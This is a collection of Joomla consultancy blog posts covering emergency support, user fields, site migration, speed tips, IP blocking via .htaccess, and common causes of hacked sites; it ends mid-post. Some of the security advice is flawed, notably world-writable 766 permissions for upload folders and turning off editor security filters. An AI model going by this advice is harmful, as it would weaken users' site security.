While Joomla is a very poweful CMS, sometimes it feels as if it lacks some basic features. For example, many of our customers ask us what sort of settings they should change in order to automatically notify their registered users (subscribers) of a new article that is posted on their Joomla website. Our answer is “There is not such setting, but we can create it for you”. At this point our customers become mad at the Joomla developers, but at the same time, happy because we will create this feature for them.

So how do we do it?

We just modify the configuration file to include a new setting: $notify_registered_users_on_new_article, which can be 0 or 1. By default, it is assumed to be 0, which means there are no mails sent when a new article is posted. If this variable is set to 1, then we send an email to every subscriber when there is a new article posted.

Afterwards, we add “a hook” to the PHP code that saves the article in the database (on success), to check if the above flag is true, and we send an email to all the subscribers. The email usually consists of the following:

– The from part: The name of the website.
– The from email: The email address set in the general settings of the website.
– The subject of the email: Usually we set this to “Name of the website: New article posted”, or “Name of the website: Check out our latest article”
– The body of the email: The body of the email usually contains the name of the article, as well as an excerpt of that article. (Note: The body of the article usually starts with “Hi Subscriber First Name!”).

We charge 3 hours for creating the above feature for your website. Please check our excellent fees and contact us if you want us to do this work for you. As always, we’re ready and eager to serve you!

Our Joomla Emergency Services

If you stumbled across this article because you need emergency help for your Joomla website, then please contact us at our emergency number which is 514 961 2804 (for US callers) or +1 514 961 2804 (for international callers).

Update January 2018: Please note that the Joomla emergency service is now strictly available for enterprise clients.

We pride ourselves by offering a 24/7/365 emergency hotline for our customers as well as anyone who’s having a serious problem on his Joomla website. That’s why our customers love us, because we’re happy when their websites are up and running at all times, and if there is a critical problem on their websites, we jump and fix it when they call us, even if it’s 3 AM on the east coast, on a Sunday, which happens to also be New Year’s eve.

In this article, we would like to explain what is considered to be an emergency service, what are the typical situations that people contact us for emergency, what we do to fix their problems, and how long does it take us to get their website up and running.

What do we consider as an emergency service?

For a situation to be considered as an emergency it needs to fulfill the following 2 criteria:

– The website needs to be fixed immediately.
– The call about the website is made between 6 PM EST and 8 AM EST.

So, if you call us at 2 PM Pacific Time (which is 5 PM Eastern Time), and even if it’s an emergency, we will charge you the normal fees. If you call us at 11:30 PM EST and you need to fix your website immediately, then we consider this as an emergency, and we’ll charge you double the normal rate.

What are the most common reasons people call us for our emergency services?

Here’s a list of the common reasons that people call us for:

  • Their website is completely down: The website does not open at all (either it shows a blank page or displays a PHP error). In our experience (and in the case of Joomla), this is due to one of the following:
    • They activated an extension (usually a plugin) that broke their website.
    • They mistakenly altered the configuration.php file of their Joomla website.
    • They wrongly modified the .htaccess file of their website.
  • Their website is hacked: This is usually due to an out-of-date Joomla installation, a weak extension, or some “loose” permissions on the Joomla’s core and/or template files. (Check this list of potential reasons on why a Joomla website is hacked).
  • Some of their important extensions are not working: This happens because of changes they did to these extension through the admin area, that are, unfortunately, irreversible from the admin section (one has to go to the database to revert the changes).
  • Their website is suddenly extremely slow (e.g. is not responding): We have investigated before the reasons on why a Joomla website becomes slow and what you can do to make it faster, but if this slowness happens all of a sudden, then it could be that there is a newly installed extension (that is inefficient) that is draining all the resources of the database.
  • Their website is not functioning properly: For example, links are not working (this is a sign of an SEF and/or .htaccess problem), modules are not appearing, uploads not working, images not displaying, errors are displayed in some places, etc…

As you can see from the above, there are many reasons for a Joomla website to need emergency intervention. Now the question is, what do we do?

How do we get the website up and running?

Well, the answer of course, depends on the situation. For example, in the case of an .htaccess problem, we might revert back the file to its original version (depending, of course, on the Joomla version that our client is running). The most important thing for us is to get the website up and running, as soon as possible. We take our clients’ businesses very seriously, and we never ever said to a customer “we can’t do it” or “we can’t fix your website” or “it’s just too hard for us” or “we’re sorry, but you should’ve been more careful”. We always fix the website, and again, we try our best to fix it in record speed.

How much time does it takes to fix the website?

Well, when we work under stress, we burn ourselves and work nearly at double speed (that’s why we charge the double rate), because we know that every second counts. Typically, it takes us anything between 15 minutes to 2 hours to get a broken/hacked website up and running. Note that sometimes our customers elect to get the basic functionality of their website up and running, and ask us to fix the rest of the website during normal working hours so that they will incur less fees.

How to Add a Favicon to Your Joomla Website

Everyone loves favicons, they imply professionalism, seriousness, and continuity of the website and the underlying business (Note: itoctopus still doesn’t have a favicon because we are still working on our corporate identity).

As such, a lot of our Joomla customers want to know the procedure for adding a favorite icon (aka favicon) to their website. Although we’re not designers, we can help answering this question because we’ve done it many times already, and it is very easy.

Here’s how:

  • Create a 16×16 pixel image in Photoshop (note: You can also create create a 32×32 or 48×48 pixel images – but the most common and readable format is 16×16)
  • Save the image as favicon.ico (To be able to save icon images in Photoshop, you need to install this extension). Note that nowadays the majority of browsers, such as Firefox, Chrome, and Opera can read icons that are gif images (so you save the file as gif, to “favicon.gif”, and then you rename the file to “favicon.ico”).
  • Upload the favicon.ico to the root directory of your website.
  • That’s it!

What if it doesn’t work?

  • Ensure that you’ve created the favicon.ico in the proper format (right image type and right size).
  • Ensure the following line: <link rel="shortcut icon" href="http://www.yourjoomlawebsite.com/favicon.ico"/> exists under the head section of your HTML code.
  • Ensure that you’ve uploaded the favicon.ico to the right place.
  • Wait a bit, this is because some browsers, such as Firefox, cache the favorite icon for a while, so even after you change your favicon, it might take some time for your changes to appear on the browser. Try visiting the website with another browser that you don’t usually use to see if your changes worked (e.g. you can see the favorite icon).

If you’re still having problems with making your favicon.ico appear on your website, then please contact us. As always, we’ll be glad to help!

Docman Customization

We had an interesting project yesterday, which consisted of customizing Docman (a Joomla extension that allows you to distribute documents either for free or for a fee on your website) in order to accept subscriptions.

Here’s what the client wanted:

– If the document is priced at 0, then the registered member can download it for free.
– If the document is priced at an amount more than 0, then the registered member should pay for it in order to download it.
– If the document is priced at -1, then the registered member should subscribe to one of our client’s subscription plans (plan a) in order to download it.
– If the document is priced at -2, then the registered member should subscribe to another one of our client’s subscription plans (plan b) in order download it.
– etc…

Each subscription plan served for a year and after the year the registered member has to buy subscription again in order to still be able to download the documents.

Of course, Docman, in its default incarnation, only has the first two options by default, so we had to customize it. Here’s what we did:

– We added fields to the users table to reflect the registration status to each plan (for example, we have a field called plan_a which is a boolean, and is defaulted to 0, and another field which is plan_a_expiry_date, which is of type date). You can see how to add fields to the user’s form here.

– We then accommodated the different Docman files to show the appropriate buttons and do the appropriate actions depending on the status of the registered member. This was a long job, as we had to change many files in the process.

– We finally accommodated the Docman PayPal IPN component (specifically the docmanpaypal.class.php file) to the change so that it updates the status of the user (for example, set the flag plan_a to 1 and set the field plan_a_expiry_date to :DATE_ADD(CURDATE(), INTERVAL 1 YEAR))

The job took us around 2 days (or 16 hours) in order to fully finish, and we’re glad to say that our customer is happy. If you need help modifying your own version of Docman, then don’t hesitate to contact us, we’re here to help you 24/7/365, and our fees are very reasonable!

How to Retrieve the Non-Cached User Information from Joomla?

First we apologize that this post is very technical, but this is a recurring issue and we thought we’d share the solution with others that may be experiencing this problem.

The easiest way to retrieve the information of the current logged in user in Joomla is the following:

$user =& JFactory::getUser();

But there is a problem in the above code. Let’s say, for example, that the user information was updated by another thread while the user is logged in to your website (this other thread might be automated, such as a cron job, or might be someone manually updating the user information in the backend). The problem is that when an external update happens on the user, the $user object remains the same. So, if the phone number is changed by that external thread, this change is not reflected in the user object. This is because Joomla caches (in the session) all the information about the currently logged in user. Fortunately, there is an easy way to solve this problem, and it is by using the following code instead:


$user =& JFactory::getUser();
$user_id = $user->id;
$user =& JFactory::getUser($user_id);

What we do is that we first get the user (using the JFactory::getUser() with no parameters), then we get the user id of that user (the user id never changes), and then we get the user based on the user id. This way we will fool Joomla into thinking that we want some information on a specific user in the jos_users table, regardless if that user is logged in or not, which will make Joomla lookup the user in the table directly (based on his user id), and not use the cached version of the user.

How to Add New Attributes (Fields) to the User Registration Form in Joomla?

Often, we receive requests for adding new attributes (or fields) to the user registration form in Joomla. Such attributes are usually specific to our client’s industry. A very recent example is a client of ours who runs a small magazine, and wanted to add the following 2 fields: “Registered” (which is of type boolean) and “Subscription Expiry Date” (which is of type date).

The procedure consists of the following steps:

  1. Add the fields to the table jos_users in the database
  2. Update the JTableUser class to accommodate the new fields
  3. Update the form in the website’s backend

Adding the fields to the table

This is the easiest step. Just go to phpMyAdmin, select the database of your website, and click on the jos_users table (assuming you left the default “jos_” table prefix), and then click on “Structure” on the top, and then click Add the 2 fields. Let’s call the first one registered (type is tinyint(1)) and the second one subscription_expiry_date (type is date). Let’s index both fields (makes searching faster).

Update the JTableUser class

Follow the below and this step will be a breeze:

  • Open the file libraries/joomla/table/database/table/user.php.
  • Search for this line: var $params = null;
  • Add the following lines after the above line:


    var $registered = null;
    var $subscription_expiry_date = null;

Update the registration form

This is the hardest step and trust us, it shouldn’t take long. Again follow the below and you should be OK:

  • Open the file administrator/components/com_users/views/user/tmpl/form.php.
  • Search for this line:

    <tr>
    <td>
    <?php echo JText::_( 'Receive System Emails' ); ?>
    </td>
    <td>
    <?php echo $this->lists['sendEmail']; ?>
    </td>
    </tr>

  • Add the following lines after the above line:
    <tr>
    <td>
    <?php echo JText::_( 'Registered' ); ?>
    </td>
    <td>
    <?php echo $this->lists['registered']; ?>
    </td>
    </tr>
    <tr>
    <td>
    <?php echo JText::_( 'Subscription Expiry Date' ); ?>
    </td>
    <td>
    <input type="text" name="subscription_expiry_date" id="subscription_expiry_date" size="40" value="<?php echo $this->user->get('expiry_date'); ?>" />
    </td>
    </tr>
  • Open the file administrator/components/com_users/views/user/view.html.
  • Find this line: $lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox" size="1"', $user->get('sendEmail') );
  • Add the following line after the above line: $lists['registered'] = JHTML::_('select.booleanlist', 'registered', 'class="inputbox" size="1"', $user->get('registered') );

That’s it! You’re done!

Now we don’t recommend anyone that doesn’t have a programming experience to do the above. If you try the above and run into problems, or if you want someone else to do it for you, then go ahead, contact us. Our rates are very reasonable, and we’ll get the job done in no time.

How to Move Your Joomla Website to Another Server?

Not a week goes by without us receiving at least 3 requests to move a Joomla website from one server to the other (or from one hosting account to another). Generally, the process is straightforward, and can be done in 3 methods:

Method 1

This method is the easiest one and the most straightforward, and only requires FTP and phpMyAdmin access to your old server and your new server.

  1. Step 1 – Grab the data from your old server
    1. Connect to your website through FTP

    2. Download your whole website’s directory (Note: this may take hours)
    3. Go to phpMyAdmin
    4. Click on the “Export” tab above
    5. Download your database – preferably in zip mode
  2. Step 2 – Upload the data to your new server

    1. Connect to your new website through FTP
    2. Upload your website files under a folder called yourwebsitename.com
    3. Go to the phpMyAdmin of your new hosting
    4. Click on the “Import” tab above
    5. Upload your database file that was generated in step “e” above

Method 2

This method only works if you have cPanel installed on both the old and the new server. We are assuming that you have only one website in your account.

  1. Step 1 – Download your website and database from your old server
    1. Go to your cPanel account on the old server

    2. Click on “Backups” (in the middle – center of the page)
    3. Click on “Home Directory” to download it
    4. Click on the database name of your website to download it (under Databases)
  2. Step 2 – Upload your website and database to your new server

    1. Go to your cPanel account on the new server
    2. Click on “Backups”
    3. Upload your home directory file downloaded in step “c” above (under “Restore a Home Directory Backup”)
    4. Upload your database file downloaded in step “d” above (under “Restore a MySQL Database”)

Method 3

In this method, we will show you how to use Akeeba Backup (formerly JoomlaPack) to download your website, and then upload it through FTP:

  1. Step 1 – Download your website and data using Akeeba Backup

    1. First download Akeeba Backup from here
    2. Install the Akeeba Backup in your current Joomla website. By going to “Extension”, “Install/Uninstall”, and then selecting the Akeeba Backup file in the “Package File” field, and then clicking on “Upload File & Install”.
    3. After the installation is complete, go to “Components” and then go to “Akeeba Backup”, and then backup your website and download it.
  2. Step 2 – Upload your website and data to your new server using FTP

    1. Extract the backup file you have downloaded in the previous step.
    2. Connect by FTP to your new hosting account (or new server).
    3. Do the same steps in Method 1 – Step 2 above. Note that the database file is located in your backup file under “installation/sql” and is called “Joomla.sql”

Now that you have physically moved your website, you need to point your domain’s name servers with your domain registrar (such as GoDaddy) to your new server. When you are done doing so, you need to go to your new cPanel and add your website’s domain under “Addon Domains”. Note: Leave the document root as is.

If you need help in doing any of the above, just contact us; we’ll be very eager to help you!

Do Joomla Websites Have to Be Ugly?

We have worked on many Joomla websites for many customers covering nearly every profession anyone can think of. All of our customers’ websites are great when it comes to content, but most of them are not that great when it comes to design. Some of them are very ugly, and yes, we do tell our customers when their websites are ugly, and they either agree or they say that they know this already, but that was the design that they’ve chosen.

One has to think, is an ugly website a given when it’s powered by Joomla? The answer is obviously no, we have worked on many websites that are beautiful. See, the reason why many of our customers don’t have a very beautiful website is because they just pick a template from the vast array of the available Joomla templates, and they install that template without any modification. There are several disadvantages to this:

  • All generic templates, including the paid ones (especially the paid ones), look much better in the demo than on your website. This is a little trick that designers do to make their templates more appealing so that they get more sales.
  • A template that is not made for your website does not fit your website. Your website may have a corporate identity (in case of a business website), a cause (in case of charity website), a mission (in case of an educational website), etc… Any template that you install needs to be modified to accommodate your website’s identity.
  • A generic template is often not compatible with your content. Some templates will look better if you activate certain modules, add pictures to articles, use specific colors, etc… But what if you do not want to activate these modules, you don’t have pictures in your articles, and you have your own colors/fonts that you want to use.

So, how can you have a beautiful Joomla website?

We’re happy to say that this is very easy, all you need to do is have a designer either accommodate a template for you, or create you own Joomla template. Then, and only then, you will have a very nice website that you will feel very proud to own. Unfortunately at itoctopus we currently don’t develop custom-made templates. We are currently seeking partnership in that area, however.

PS: One of the very nice Joomla websites we have worked on today is a recipe website, you can check it here (note: this link will take you to an external website).

Can Joomla Run on a Windows Server?

Some of our potential clients already have hosting plans on Windows Servers, and they prefer not to switch as they are already familiar with the system, so they come to us and ask us “Can I run Joomla on a Windows Server?”

Our answer is: “Of course you can”. Joomla can run on a Windows server that is running either IIS or Apache. All you need to do is the following:

  • Install IIS or Apache
  • Install and configure PHP
  • Configure IIS or Apache to work with PHP
  • Install MySQL and phpMyAdmin
  • Create a database that will be used by your Joomla website
  • Create a user (with limited access) that will connect to this database – do not connect as root!
  • Install Joomla
  • Modify the different file paths (such as the log_path and the temp_path in your configuration.php) in the application to the Windows folder format (for example: "c:\inetpub\wwwroot\mywebsite.com" instead of "/web/vhosts/www/mywebsite.com"
  • Ensure that you have set the right write permissions on your sessions folder defined in php.ini

It is important to know that Joomla is not as stable as it normally is when it runs under Windows, because some of the PHP instructions are meant to work only under a LAMP environment, and there are some PHP functions (especially those pertinent to the sessions) that have known issues with IIS and/or Windows.

Note: If you’re trying to upload and the uploads are not working, this means that you have not set the proper permissions on the upload directories.

If you’re having problems installing Joomla on a Windows Server, and you feel you need help, then contact us! We’re here to help you 24/7/365 (or 366 in case of a leap year!).

Is Joomla Good for Ecommerce?

Many of our clients, who already have a Joomla website, reach a point where they want to sell products and/or services on their websites. They all come to us with this immediate question: “Is Joomla good for ecommerce?”.

Our answer is always: “It depends”.

Yes, whether Joomla is good or not for ecommerce depends on several factors, which are:

  • The importance of your website
  • The type of products you are selling
  • The payment method you will go for
  • The number of products you expect to sell

The importance of your website

Joomla’s most used ecommerce extension is VirtueMart, which is OK for websites that are not that prominent on the Internet. This is because VirtueMart is not the best looking extension out there, and the themes available for that extension are not that beautiful and not that abundant. However, a Joomla designer/developer hybrid can integrate your own template in VirtueMart, which will make your ecommerce functionality look very professional. If you decide not to do this, and you do own a large and important website, then the use of VirtueMart can easily compromise you website’s professionalism.

The type of products that you are selling

We have noticed that ecommerce with Joomla is great for some types of products, and not that great for some others. This is because VirtueMart can become very complicated when it comes to accommodating the selling of some products. For example, let’s say you own a pizza shop, and you want to sell customizable (make-your-own) pizzas. The user will go to your website, and choose a pizza, then choose a size, and choose some toppings. In theory, this should work very well, but what if you decide to have a different price for the toppings for each and every size of the pizza, or even worse, what if you decide to change the toppings altogether for each and every size? With standard VirtueMart, you cannot do this. (Note: We can customize VirtueMart to accommodate such requests, just contact us for a free consultation).

The payment method that you will go for

If you want to go with PayPal, 2checkout, and others, then you can use VirtueMart. However, what if you decide to use a non-standard payment gateway? VirtueMart won’t support it by default. You will need to hire a 3rd party company that will hook up that payment gateway for you (Note: Again, we can help you do this).

The number of products that you expect to sell

As a rule, the more products that you expect to sell on your website, the more you should consider integrating a non-Joomla custom component to process the payments for you. VirtueMart is good for a reasonable number of sales per day, but once you start selling more than 200 sales/day, then you should invest in an alternative, a better alternative, an ecommerce functionality that is made just for you and that will handle your own needs, that is very reliable, and can handle multiple sales coming through at the same moment.

As a conclusion, it’s good to use Joomla provided your website is not that big, your products are simple (they do not need customization by the buyer), you opt for a standard payment method, and you don’t expect to have more than 200 transactions a day.

How to Make Your Joomla Website Faster

Joomla is highly criticized of being slow. We can say, with confidence, that this criticism has grounds. Joomla is indeed slow. This is because Joomla is a very complex CMS and there’s a lot of code that is executed in order to display even the “about us” page of a website.

So, what can you do make your Joomla website faster? Just follow the below tips, and you will notice a positive and significant change in performance:

  • Use caching: Joomla allows you to cache your pages. Note that we’re not talking about caching the content of your pages, we’re talking about caching the PHP code that is to be executed. This is because before Joomla attempts to display a page, Joomla creates a PHP file that contains all the code to be executed in order to display a page. If you use caching, the overhead of creating that PHP file is eliminated. However, you should pay attention that when you use caching, some of your changes won’t appear unless you delete your cache.
  • Disable unused extensions: If there’s an extension (especially a plugin) that you’re not using, disable it. Extensions can dramatically slow down the speed of your Joomla website, and you don’t want extensions that you’re not even using anywhere on your website to slow down your website.

  • Check your extensions: Here’s how to check your extensions. Just disable them all, and then enable them one by one, benchmarking your website every time you enable another one. See by how much the speed loading has increased. And, if you see an extension that noticeably increased the loading time of the page, then you should optimize it. But how do you do this? There a couple of ways: 1) optimize the database structure used by the extension (such as indexing tables, optimizing queries, etc…), 2) optimize the PHP code of the extension. If you’re not a developer, then you need to have a developer do both for you (Note: We will gladly do this for your, just contact us!).

  • Optimize the Joomla core code: This is a last resort, and should only be used if, and only if, your Joomla website has a lot of pages and/or receives a lot of visitors. This is a very delicate task and it’s important that you seek professional assistance in order to do this. Note that once you optimize the Joomla core code, it will become very hard to upgrade to a new version of Joomla.

How to Block an IP Address on Your Joomla Website?

Sometimes, you feel that you are obliged to block a certain IP from accessing your Joomla website. Reasons may include:

  • The IP is hacking your website.
  • The IP is scraping content from your website.
  • The IP is attacking your website with a lot of requests.
  • The IP is continuously spamming your website.
  • The IP is hotlinking to your website.

This is not complicated at all, all you need to do the following:

– Connect through FTP to your website
– Download the file called .htaccess
– Add the following lines to the .htaccess file:


order allow,deny
deny from 70.80.121.123
allow from all

Now let’s assume that you are being attacked by more than one IP, here’s what you should do


order allow,deny
deny from 70.80.121.123
deny from 60.80.23.44
allow from all

Now let’s assume that you are being attacked by a range of IPs, for example, all the IPs that start with 70.80.121, here’s what you should do:


order allow,deny
deny from 70.80.121
allow from all

Now let’s assume that you are being spammed/hacked by a small sized ISP, and you decide that you don’t want any traffic coming from that particular ISP, here’s what you should do:


order allow,deny
deny from badisp.com
allow from all

Now, the question remains, how do you know what are the IPs that are spamming you? This is very easy, you check your log files, and see if there are repetitive requests from that same IP.

If you feel that you can’t do the above then feel free to contact us, we are always there to help!

How To Create A Logout Menu Item In Joomla?

Sometimes, even the seemingly easiest things are very complicated to in Joomla. One of these easy, yet complicated things to do, is creating a Logout menu item in Joomla. We had this request several times so we thought it would be helpful to share how to do it.

Note that the below applies to both Joomla 1.5 and Joomla 1.6.

Step 1 – Install Jumi

The first thing that you need to do is to install Jumi, an extension that allows you to have PHP code in your text (and will have that PHP code processed as well). Jumi is compatible with all versions of Joomla.

Step 2 – Create article

Create a new article (let’s call it “logout”) and paste the following code into a Jumi:

<?php
$return = base64_encode('http://www.example.com');
$url = JRoute::_('index.php?option=com_users&task=user.logout&' . JUtility::getToken() . '=1&return=' . $return);
header('Location: ' . $url);
exit;
?>

Note: Swap ‘http://www.example.com’ with the URL that you would like users redirected to after log out.

Step 3 – Create menu item

Create a new menu item with a Menu Item Type of “Single Article” and select the “logout” article. You will also want to set the Access of this menu item to your Registered group or a similar group of logged in users so that only logged in users can see your logout link.

That’s it, you’re done! You now have a logout link in you menu!

If you think that the above is a bit over your head, then feel free to contact us and we’ll be glad to help you. We will charge you for an hour’s work (please check our fees).

<?php
$return = base64_encode(‘http://www.example.com’);
$url = JRoute::_(‘index.php?option=com_users&task=user.logout&’ . JUtility::getToken() . ‘=1&return=’ . $return);
header(‘Location: ‘ . $url);
exit;
?>

10 Reasons Why Your Joomla Website Got Hacked

We have at least 3 times every week where a customer comes to us with a hacked Joomla website. Usually, the Joomla website will be either filled with hidden malicious content, is redirected to another website with malicious content, has all its data erased, or is simply does not show up.

Here are, according to our experience, the top 10 reasons on why your Joomla website got hacked:

  1. Your website has very old extensions installed: This is the top and most common reason behind a hacked Joomla website. You should always keep your extensions up-to-date, and if you’re using an extension that is no longer supported, then try to find an alternative. If not, have a developer take a look at that extension to ensure it has no vulnerability issues.
  2. You’re using an older version of Joomla: We know that it’s hard to keep your Joomla website up-to-date with the latest version, especially if you have a lot of extensions (components, modules, plugins) that will be broken if you upgrade Joomla. But you must do this, you can’t keep on using an outdated version forever.
  3. You have write permissions on your .htacess file: By default, your .htaccess file has write permissions on it because Joomla has to update it, especially when you’re using SEF. The problem is that this will leave your .htaccess vulnerable to attacks that aim at changing it. You should always set your .htaccess permission to 444 (r–r–r–) or maybe 440 (r–r—–).
  4. You have write permissions on your *.php files: Neither the web server nor the world should have write permissions on your Joomla *.php files. You should ensure that the permissions of all your *.php are set to 444.
  5. Allowing users to upload scripts: For example, if a component accepts images, you should ensure that only images are allowed to be uploaded. Users should not be able to upload scripts (such as *.php files)
  6. Giving execute permissions on public directories: In this context, public directories mean those directories where users are able to upload their files to. Imagine someone uploading a file to one of your upload directory (in a way or another). If that file is a script, and if that directory allows for scripts to run, then the individual can easily run the malicious script. Public (upload) directories should all be given a permission of 766 (owner can read, write, and execute. The rest can only read and write).
  7. Using non-prominent extensions: You should always use extensions that are used and tested by many people. Using an extension that is used by very few people is not a good practice, and can get your website hacked (attacker can use several techniques such as XSS, SQL injection, etc…). In case you feel obliged to use such an extension, have a developer review it for security.
  8. Giving credentials to untrusted developers: You shouldn’t give your website credentials to untrusted developers. And, if you really have to, then change all your passwords once the developer is done working. We have already explained how to change your Joomla database password with no downtime.Note: At itoctopus, we immediately destroy the customer’s website credentials once we’re finished working on it.
  9. Giving all the possible permissions to the database user: Once your Joomla website is setup, the database user should only INSERT rows, UPDATE rows, DELETE rows, and CREATE tables. He should not DROP tables or DROP the database. Ensure that only the necessary permissions are given for the Joomla database user.
  10. Feeling confident that your website cannot get hacked or that no one would hack your website: Regardless of whether you have a small charity website or a huge school website, your website is susceptible for hacking. Many hackers use software to scan the Internet for websites with vulnerabilities and attack them, just because they can! Always take your website’s security seriously, don’t think that if you’re too small no one would consider hacking your website, or that if you’re too big you are secure enough and no one would be able to hack your website.

We suggest you go through the list above, and see where you comply and where you don’t, and if you have any questions, then contact us (or better yet, call us), and we’ll definitely help you!

Is Joomla Hard to Learn?

While the absolute majority of our customers already have Joomla websites, some of them don’t even have a website and want us to create a website for them using Joomla, or have a website yet or they are using another CMS and they want us to move them to Joomla. These customers ask for Joomla because they have heard a lot of good things about it: how they can build beautiful websites themselves with no programming experience, and how they can benefit from the myriad of extensions that will add functionality and interactivity to their websites. All these “good things” about Joomla aside, the first question that our customers ask us is: “Is Joomla hard to learn?”

Like any other question, this particular question has multiple answers:

  • If you are only going to update your articles (and not create new ones, in this case the sole purpose behind your Joomla website is to have an online presence), Joomla is somehow easy (you will need to learn how to login, how to locate your articles, how to upload media, how to link to the media from your articles, and how to save your articles).
  • If you are going to add articles and play with the menus, then Joomla becomes of of medium difficulty.
  • If you want to install and publish modules, components, and plugins, then Joomla becomes difficult.
  • If you want to play with the templates, or use complicated components such as VirtueMart and JEvents (among others), then Joomla is really difficult.
  • If you want to customize extensions (components, modules, and plugins) to suit your needs, then you won’t be able to do this by yourself, you will need to get help from a Joomla Expert.

We know that this post makes Joomla look intimidating, but that’s because it’s what it actually is! As programmers with at least 15 years of experience, sometimes it takes a day to identify the source of a problem that one of our clients is experiencing, that’s because Joomla is a very complicated product.

Now the question is, should you choose Joomla? Of course you should, there are many companies out there whose existence revolves around helping you if and when you run into a problem. Gone are the days where small sized companies are at the mercy of a programmer for updating their websites, now with Joomla they can do this themselves, and they can have full control of their websites. Is Joomla Hard? It can be! Can anyone maintain a Joomla website? Definitely!

Again, if you need help, you can always contact us, and we’ll be delighted to help you (and our fees are very reasonable).

How to Change the Database Password in Joomla?

In some situations, you may find yourself forced to change the database password of your Joomla website. Such situations include:

  • Your website just got hacked.
  • You gave all the website credentials (particularly the username and the password of the database) to a developer that you no longer trust.
  • You have a good habit of changing all your passwords regularly.

So how do you change the password for your Joomla database?

This is a two step process, and we are assuming you are hosting with a company that offers cpanel (if you’re not, then maybe you should consider switching to us!).

Step 1: Change your database password in Cpanel

Here’s how yo do it:

  1. Login to Cpanel (Typically your cpanel address would be http://www.yourwebsitaddress:2028).
  2. Click on “MySQL Databases” near the bottom of the page (located under a section called “Databases”).
  3. Scroll down to the bottom of the page, to the section called “Current Users.
  4. Click on the Joomla database user.
  5. Enter the old password and the new password.
  6. The password is now changed, that’s the good news. The bad news is that your website has stopped working! You need to execute Step 2 immediately to get it back up!

Step 2: Change your database password in Joomla

Here’s how yo do it:

  1. Connect to your website through FTP.
  2. Download the file “configuration.php”.
  3. Open the file “configuration.php” in a text editor, such as Notepad.
  4. Change the “$password” value to a new value.
  5. Upload the file, and you’re done!

Now is there a way to change your database password while having no downtime on your Joomla website? Yes there is! All you need to do is do the following:

  1. Create a new database user in Cpanel.
  2. Give the user access to your Joomla database.
  3. Update your configuration.php file to point to the new user (you have to change both the “$user” and the “$password” entries, where “$user” becomes the username of the new user, and “$password” becomes the password of the new user).
  4. Upload your configuration.php (now your website is connecting by using your new user).
  5. Now go your cpanel again, and change the password of the user as described in “Step 1” above.
  6. Now update your configuration.php to reflect the credentials of the old user with the new password that you just set.
  7. Upload your configuration.php file, and now you’re done with 0 seconds of downtime!

If you feel that the process above is a bit over your head, then go ahead, contact us. We will only charge you for one hour for doing the above (check our fees to see how much would that cost you)!

Salvage Your Joomla Website!

Sometimes one of your Joomla database tables (jos_*) , or even your whole Joomla database can become corrupt because of the following:

– Hardware failure on your server (you should always pray that this never happens on your server, and if it does, then you should pray that you have a recent backup)
– Someone restarted the server (or shall we say, forced restart) while MySQL was trying to write to a table in your database (this is the most common scenario)
– Concurrent modifications of the same table by several programs (this scenario will probably never happen to you)

So what will happen if a Joomla table becomes corrupt?

In some cases, table corruption can be benign, in other words, you won’t see it unless you visit a specific page that wants to read and/or write data to this table. In most cases, table corruption will crash your whole website. Your website will either show a blank page and/or will return an HTTP 500 page (server error) to the user. Alternatively, your website may show PHP errors in case you have played with the error reporting of the website.

What will happen if a Joomla database becomes corrupt?

When a database becomes corrupt, then there is no way, on heaven or on earth, to have anything on your website working unless the database is fixed. In this scenario, your website will always return an HTTP 500 error to the visitor, or will show a PHP error stating that it’s having problems with the MySQL database.

In either scenario, you will see the following error if you enable PHP error reporting:

"SQL Error : 1016 Can't open file: 'databasename_jos_tablename.MYI'."

Some have reported seeing an error that starts with “Incorrect key file…”. We have personally never seen this error.

How do you fix the problem?

Fixing this problem requires that you have access to phpMyAdmin. Here’s what you should do to repair the table/database:

– Go to phpMyAdmin
– Export the database to a zip file and download it (we are backing up the database here – it’s much better to be safe than sorry). You can do this by clicking on the name of the database on the left menu, then clicking on “Export” at the top right, then clicking on SQL, and then clicking “Save as File”. If you have a lot of data, then it’s better to use a compression method such as zip or gzip.
– Once the database is backed up, go to the “Structure” tab (top left), and then select the affected tables (all the tables if the whole database is corrupt), and then click on “Repair”. This should repair everything. Note that you might lose a minimal amount of data when you do this.
– Go to your website and see if it’s working.
– If your website is still not working then it’s better to ask for professional help on your website.

Conclusion

Salvaging your Joomla website is a dangerous and critical process, and we only recommend that you do the above steps if you have at least some programming/system administration experience (you might lose everything if you make a mistake). If you prefer to have this work done by professionals, then please contact us, we’ll be happy to help you. We’ll charge you only 2 hours for this service (see our fees to know how much it would cost you), and your website will be up and running in no time.

One last word of advice, backup your website early, backup your website often!

How Do You Add Marquee to Your Joomla Website?

Some of our clients come to us with requests to add a marquee to their Joomla website. Although we always want to have more work, we tell them to do this themselves. Why? Because it’s really easy!

All you need to do is to add the following to the text that you want to have scroll over the screen:

– For a horizontal marquee:

<marquee direction="right">Your Text Goes Here</marquee>

– For a vertical marquee:

<marquee direction="down">Your Text Goes Here</marquee>

Note that for direction, you can have the values of right (scrolling horizontally from left to right), left (scrolling horizontally from right to left), up (scrolling vertically from the bottom to the top), and down (scrolling vertically from the top to the bottom)

Now, what if you want to add the a marquee across the board (on every page), instead of just one page? At this point, you can should use a module to do this. We can help you to do it ourselves if you want.

A popular demand is a marquee that will display the latest articles at the top of the page, with a link to every article. Again, we can do this for you, it’ll take us 2 hours to configure and install our company-developed module to your website. Please check our fees to see how much that would cost you, and, if you want us to do the job, then all you have to do is (you’ve guessed it) contact us! We’re there for you 24/7/365!

Note: You may have a problem adding the <marquee> tag to your editor (whether you are using Joomla 1.5 or 1.6), because after saving, your editor will strip out the marquee tag. In this case, you need to change the settings for the specific Joomla user to remove all security checks when adding/editing content (which means that the user will be able to insert any kind of  HTML code he wants). If all else fails, then install Jumi.

How to Add Background Music To Your Joomla Website

Some of our clients ask us to add background musing on their Joomla website. Typical requirements include:

  • I want to play Song X on my website.
  • I want the music to play on all browsers.
  • I don’t want the music to stop if the person moves from one page to the other.

Playing music is not that hard, playing the music on all (recent) browsers is not that hard either, but what’s hard is ensuring that the music continues to play once you move between pages.

How do accommodate this request?

We install a module called JBGMusic. It does work nicely, sometimes it requires some programming tweaks here and there but other than that it fits the client’s needs. However, there is an issue, this module uses Flash. Some of our clients don’t want to use Flash on their websites, so what do we do in this case?

